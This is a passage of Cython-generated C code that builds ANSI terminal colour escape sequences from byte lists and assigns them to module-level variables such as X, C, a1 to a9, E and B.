  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 60, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 60, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_X, __pyx_t_5) < 0) __PYX_ERR(0, 60, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 61, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_53);
  __Pyx_GIVEREF(__pyx_int_53);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_53);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 61, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 61, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_C, __pyx_t_5) < 0) __PYX_ERR(0, 61, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 62, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 62, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 62, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_a1, __pyx_t_5) < 0) __PYX_ERR(0, 62, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 63, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_52);
  __Pyx_GIVEREF(__pyx_int_52);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_52);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 63, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 63, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_a2, __pyx_t_5) < 0) __PYX_ERR(0, 63, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 64, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 64, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 64, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_a3, __pyx_t_5) < 0) __PYX_ERR(0, 64, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 65, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 65, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 65, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_a4, __pyx_t_5) < 0) __PYX_ERR(0, 65, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(11); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 66, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_56);
  __Pyx_GIVEREF(__pyx_int_56);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_56);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_53);
  __Pyx_GIVEREF(__pyx_int_53);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_53);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_5, 7, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_48);
  __Pyx_GIVEREF(__pyx_int_48);
  PyList_SET_ITEM(__pyx_t_5, 8, __pyx_int_48);
  __Pyx_INCREF(__pyx_int_56);
  __Pyx_GIVEREF(__pyx_int_56);
  PyList_SET_ITEM(__pyx_t_5, 9, __pyx_int_56);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 10, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 66, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 66, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_a5, __pyx_t_5) < 0) __PYX_ERR(0, 66, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(9); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 67, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_56);
  __Pyx_GIVEREF(__pyx_int_56);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_56);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_53);
  __Pyx_GIVEREF(__pyx_int_53);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_53);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_53);
  __Pyx_GIVEREF(__pyx_int_53);
  PyList_SET_ITEM(__pyx_t_5, 7, __pyx_int_53);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 8, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 67, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 67, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_a6, __pyx_t_5) < 0) __PYX_ERR(0, 67, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 68, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_56);
  __Pyx_GIVEREF(__pyx_int_56);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_56);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_53);
  __Pyx_GIVEREF(__pyx_int_53);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_53);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 7, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 8, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 9, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 68, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 68, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_a7, __pyx_t_5) < 0) __PYX_ERR(0, 68, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 69, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_48);
  __Pyx_GIVEREF(__pyx_int_48);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_48);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 69, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 69, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_a8, __pyx_t_5) < 0) __PYX_ERR(0, 69, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 70, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_55);
  __Pyx_GIVEREF(__pyx_int_55);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_55);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 70, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 70, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_a9, __pyx_t_5) < 0) __PYX_ERR(0, 70, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 71, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 71, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 71, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_E, __pyx_t_5) < 0) __PYX_ERR(0, 71, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 72, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_54);
  __Pyx_GIVEREF(__pyx_int_54);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_54);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 72, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 72, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_B, __pyx_t_5) < 0) __PYX_ERR(0, 72, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 73, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
